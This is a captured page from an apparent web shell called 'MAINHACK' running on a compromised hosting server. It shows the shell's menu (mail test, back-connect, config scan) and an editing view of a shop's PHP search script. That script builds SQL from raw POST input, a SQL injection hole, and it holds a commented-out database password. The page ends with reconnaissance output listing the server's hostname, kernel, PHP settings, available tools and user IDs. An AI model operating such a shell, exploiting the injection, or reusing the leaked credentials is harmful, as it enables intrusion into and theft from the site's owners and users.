[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fetch_data_search.php
<?php //$connect = new PDO("mysql:host=localhost;dbname=itsweb_jabu", "itsweb_jabu", "hackit_321"); include 'settings/settings.php'; if(isset($_POST["action"])) { $query = " select * from product inner join product_img on product.product_id=product_img.product_id where product.name like '%". $_POST["aa"]."%' "; // inner join product_size on product.product_id=product_size.product_id if(isset($_POST["minimum_price"], $_POST["maximum_price"]) && !empty($_POST["minimum_price"]) && !empty($_POST["maximum_price"])) { $query .= " AND price BETWEEN ".$_POST["minimum_price"]." AND ".$_POST["maximum_price"]." "; } // group by product_size.product_id $query .=' order by product.product_id desc '; //echo $query; $statement = $con->prepare($query); $statement->execute(); $result = $statement->fetchAll(); $total_row = $statement->rowCount(); $output = ''; if($total_row > 0) { foreach($result as $row) { $a=$row['size']; $size=array(); if($a==1){ $read1=$show->readwithdata('product_size','product_id',$row['product_id']); while($row_read=$read1->fetch(PDO::FETCH_ASSOC)){ $size[]=$row_read['size']; } $avl_size=implode(',',$size); }else{ $avl_size=''; } // echo $row['price']; $output .= '<form method="post" class="cart_single" action="index.php?product_id='.$row['product_id'].'&action=add&code='.$row['product_id'].'&price='.$row['price'].'"> <div class="col-md-2 col-xs-6"> <div class="hover14 column"> <div class="agile_top_brand_left_grid"> <div class="agile_top_brand_left_grid1"> <figure> <div class="snipcart-item block"> <h6 class="off">'.$row['discount'].'% off</h6> <div class="snipcart-thumb"> <a href="single.php?product_id='.$row['product_id'].'&price='.$row['price'].'"><img title="" alt=" " src="'.$pic_img.'/'.$row['image'].'"></a> <p>'.$row['name'].'</p> <h4> '.$row['category'].'</h4> <h4>Rs :'.$row['discounted_price'].' | <span>Rs :'.$row['price'].'</span></h4>'; if($a==1){ $output .='<h5>Size :'.$avl_size.'</h5>'; } $output .='</div> <div class="snipcart-details top_brand_home_details"> <div class="snipcart-details top_brand_home_details"> <fieldset> <input type="hidden" name="img" value="'.$row['image'].'"> <input type="hidden" name="quantity" value="1"> <input type="hidden" name="product_name" value="'.$row['name'].'"> <input type="hidden" name="price" id="item_price"> <input type="hidden" name="code" value="'.$row['product_id'].'"> <a href="single.php?product_id='.$row['product_id'].'&price='.$row['price'].'"class="button">Buy Now</a> </fieldset> </div> </div> </div> </figure> </div> </div> </div> </div> </form> '; } } else { $output = '<span><h3>No Data Found</h3></span>'; } echo $output; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.5 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619